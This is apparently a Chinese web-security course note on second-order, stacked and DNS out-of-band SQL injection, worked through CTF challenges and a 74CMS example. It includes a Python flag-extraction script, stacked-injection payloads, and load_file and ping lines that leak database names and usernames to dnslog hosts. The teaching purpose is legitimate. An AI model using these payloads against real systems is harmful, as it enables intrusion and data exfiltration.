小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

#知识点:

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库 Dnslog 注入

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调多条执行

DNS 注入:在注入上没太大利用价值,其他还行

#二次注入-74CMS&网鼎杯 2018Unfinish

比如:找回密码功能:

得到你的用户名(你找回谁的密码)

进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

接受获取你的用户名,修改密码update

但如果在注册用户名时,写了一个SQL注入的语句

则当进行修改密码时,会对用户名进行调用

即:update user set password='xiaodi' where username='SQL注入代码'

从而形成注入点

CTF-[网鼎杯 2018]Unfinish-黑盒

先进入register.php页面

通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

分析:

注册用户:添加insert

Insert into user(email,username,password) value('[email protected]','AT','123456')

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email='[email protected]'

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

我们这里使用.py进行制造payload

import requests

from bs4 import BeautifulSoup

import time

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

m = ''

for i in range(100):

payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)

register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

req = requests.session()

r1 = req.post(url+'register.php',data = register)

r2 = req.post(url+'login.php', data = login)

r3 = req.post(url+'index.php')

html = r3.text

soup = BeautifulSoup(html,'html.parser')

UserName = soup.span.string.strip()

if int(UserName) == 0:

break

m += chr(int(UserName))

print(m)

time.sleep(1)

CMS-74CMS 个人会员中心-黑白盒

黑盒:

对学校名称进行注入

我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value ('xiaodi',address=user#)

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

抓学校地址该网页的包,并进行查看其相关函数 make4_save

发现有SQL语句------insert:会把修改的内容插入到数据库的相关位置

对其SQL语句进行监听

#堆叠注入-数据库类型&强网杯 2019 随便注

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531

3460;prepare execsql from @a;execute execsql;

#DNS 利用-平台介绍&SQL 注入&命令执行等

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

基本只针对于MYSQL------load_file

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等

SQL 注入:

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select

database()),'.69knl9.dnslog.cn/abc')))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

接受的主机的username

相关推荐
独行soc2 小时前
2025年渗透测试面试题总结-阿里云[实习]阿里云安全-安全工程师(题目+回答)
linux·经验分享·安全·阿里云·面试·职场和发展·云计算
事业运财运爆棚2 小时前
中exec()函数因$imagePath参数导致的命令注入漏洞
web安全
lqlj22332 小时前
Spark SQL 读取 CSV 文件,并将数据写入 MySQL 数据库
数据库·sql·spark
遗憾皆是温柔3 小时前
MyBatis—动态 SQL
java·数据库·ide·sql·mybatis
未来之窗软件服务3 小时前
Cacti 未经身份验证SQL注入漏洞
android·数据库·sql·服务器安全
CertiK4 小时前
Crowdfund Insider聚焦:CertiK联创顾荣辉解析Web3.0创新与安全平衡之术
安全·web3
IP管家5 小时前
物联网设备远程管理:基于代理IP的安全固件更新通道方案
服务器·网络·物联网·网络协议·tcp/ip·安全·ip
shenyan~5 小时前
关于 Web安全:1. Web 安全基础知识
安全·web安全
_星辰大海乀5 小时前
表的设计、聚合函数
java·数据结构·数据库·sql·mysql·数据库开发
DonciSacer6 小时前
网络流量分析 | NetworkMiner
安全